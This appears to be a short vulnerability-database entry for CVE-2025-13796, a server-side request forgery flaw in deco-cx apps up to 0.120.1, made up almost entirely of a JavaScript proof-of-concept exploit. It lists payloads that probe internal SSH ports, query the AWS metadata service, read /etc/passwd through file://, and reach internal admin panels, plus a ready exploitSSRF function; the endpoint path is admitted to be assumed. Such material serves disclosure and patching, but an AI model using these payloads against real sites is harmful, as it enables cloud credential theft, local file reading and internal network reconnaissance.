CVE-2025-13796 | deco-cx apps 服务器端请求伪造漏洞

// CVE-2025-13796 SSRF PoC for deco-cx apps // Target: deco-cx apps <= 0.120.1 // Attack vector: Manipulating url parameter in AnalyticsScript // Example 1: Internal port scanning via SSRF const ssrfPayload1 = { url: 'http://127.0.0.1:22' // SSH port detection }; // Example 2: Access internal metadata service const ssrfPayload2 = { url: 'http://169.254.169.254/latest/meta-data/' // AWS metadata }; // Example 3: Read local files via file:// protocol const ssrfPayload3 = { url: 'file:///etc/passwd' // Local file access }; // Example 4: Internal service fingerprinting const ssrfPayload4 = { url: 'http://10.0.0.1:8080/admin' // Internal admin panel }; // Exploit request example (assuming AnalyticsScript endpoint) async function exploitSSRF(targetUrl, maliciousUrl) { const response = await fetch(`${targetUrl}/api/analytics-script?url=${encodeURIComponent(maliciousUrl)}`); return await response.text(); } // Usage: // await exploitSSRF('https://vulnerable-deco-site.com', 'http://127.0.0.1:6379');